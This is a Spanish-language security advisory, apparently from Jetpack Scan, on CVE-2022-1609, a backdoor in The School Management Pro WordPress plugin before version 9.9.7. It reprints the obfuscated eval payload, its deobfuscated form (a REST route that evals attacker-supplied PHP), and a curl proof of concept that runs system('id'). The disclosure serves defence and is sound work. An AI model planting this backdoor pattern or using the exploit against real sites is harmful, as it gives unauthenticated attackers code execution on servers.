Puerta trasera encontrada en el complemento The School Management Pro para WordPress

Publicado: 2022-05-20

Las versiones anteriores a la 9.9.7 del complemento de WordPress "The School Management Pro" de Weblizar contienen una puerta trasera que permite a un atacante no autenticado ejecutar código PHP arbitrario en sitios con el complemento instalado. Si tiene una versión anterior instalada en su sitio, le recomendamos que actualice a la versión 9.9.7 o posterior de inmediato. Este es un problema crítico de seguridad.

Siga leyendo para conocer los detalles completos.

Detalles:

  • Nombre del complemento: The School Management Pro
  • Slug del complemento: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , etc.
  • Proveedor: Weblizar
  • Versiones afectadas: < 9.9.7
  • CVE: CVE-2022-1609
  • Puntaje CVSS: 10.0 (crítico)
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Una parte del trabajo aquí en Jetpack Scan es respaldar nuestro negocio de WordPress alojado al verificar los archivos sospechosos que se encuentran en los sitios que alojamos. Por lo general, esto se debe a que un archivo está marcado por una de nuestras firmas, o que el propietario del sitio ha encontrado algo sospechoso y quiere nuestra opinión. Como es la naturaleza de las cosas, a veces estos archivos son benignos, algunos son falsos positivos y algunos son nuevas cepas o variaciones de malware que necesitan más trabajo para clasificarse adecuadamente.

A veces, sin embargo, lo que obtenemos es más interesante todos juntos.

Hace un par de semanas ocurrió uno de esos incidentes. El equipo de soporte escalado de WordPress.com se puso en contacto con nosotros sobre un código ofuscado, obviamente malicioso, que se encontró en un complemento en varios sitios.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Después de dos rondas de desofuscación trivial, esto da:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

El código en sí no es tan interesante: es una puerta trasera obvia inyectada en el código de verificación de licencia del complemento. Permite a cualquier atacante ejecutar código PHP arbitrario en el sitio con el complemento instalado, como se puede ver en la prueba de concepto a continuación:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Este es el tipo de cosas que vemos a menudo en complementos anulados; esto sucede con tanta frecuencia que ya tenemos un caso similar cubierto en una publicación anterior. Nuestra primera suposición fue que este también era el caso aquí; los propietarios del sitio habían instalado un complemento de una fuente sospechosa.

Sin embargo, nos aseguraron que los complementos instalados se recibieron directamente del proveedor. Esto también fue confirmado rápidamente por el proveedor que eliminó el código ofensivo después de darse cuenta de su presencia.

Hemos tratado de obtener más información del proveedor sobre cuándo se inyectó la puerta trasera, qué versiones se ven afectadas y cómo terminó el código en el complemento en primer lugar. Este esfuerzo no ha tenido éxito, ya que el proveedor dice que no sabe cuándo ni cómo entró el código en su software.

Hemos visto versiones al menos desde la 8.9 que contenían la puerta trasera en nuestros sistemas alojados, pero dado que no tenemos información clara sobre cuándo apareció por primera vez la puerta trasera, debemos suponer que cualquier versión anterior a la 9.9.7 está afectada.

Detectar y alertar sobre el problema se complica aún más porque el complemento funciona con varios slugs diferentes, que a menudo usan slugs que contienen el número de versión. En nuestros sistemas alojados hemos visto al menos estas variantes:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

La versión gratuita del repositorio de complementos de WordPress.org no contiene el código de licencia y tampoco se ve afectada por esta puerta trasera.

Cronología

2022-05-04: El equipo de soporte de WordPress.com escalado descubre el código inyectado y se comunica con Jetpack Scan para analizar y verificar el hallazgo. Después de confirmar que es una puerta trasera, notifican al proveedor.

2022-05-05: El proveedor confirma que el código inyectado está efectivamente en su distribución y nos proporciona una versión 9.9.7 donde se elimina la puerta trasera. Confirmamos que está limpio.

2022-05-06: el proveedor distribuye activamente la versión 9.9.7 a sus clientes y los alienta a actualizar.

2022-05-10: el proveedor respondió a nuestras preguntas adicionales sobre si sabía cuándo se agregó la puerta trasera, pero afirma que no lo sabe. Proporcionaron una versión anterior, 9.9.4, que incluía la puerta trasera.

Conclusión

Recomendamos que cualquier sitio con una versión anterior a la 9.9.7 de The School Management Pro instalada se actualice inmediatamente.

En Jetpack, trabajamos arduamente para asegurarnos de que sus sitios web estén protegidos contra este tipo de vulnerabilidades. Le recomendamos que tenga un plan de seguridad para su sitio que incluya escaneo de archivos maliciosos y copias de seguridad. Jetpack Security es una excelente opción de seguridad de WordPress para garantizar que su sitio y los visitantes estén seguros.

Créditos

Esta investigación fue una cooperación entre el equipo de soporte escalado de WordPress.com con Nic Sevic, Thom Stackhouse y Joshua Goode, y Jetpack Scan con Harald Eilertsen y Fioravante Cavallari. También gracias a Benedict Singer por sus comentarios y correcciones.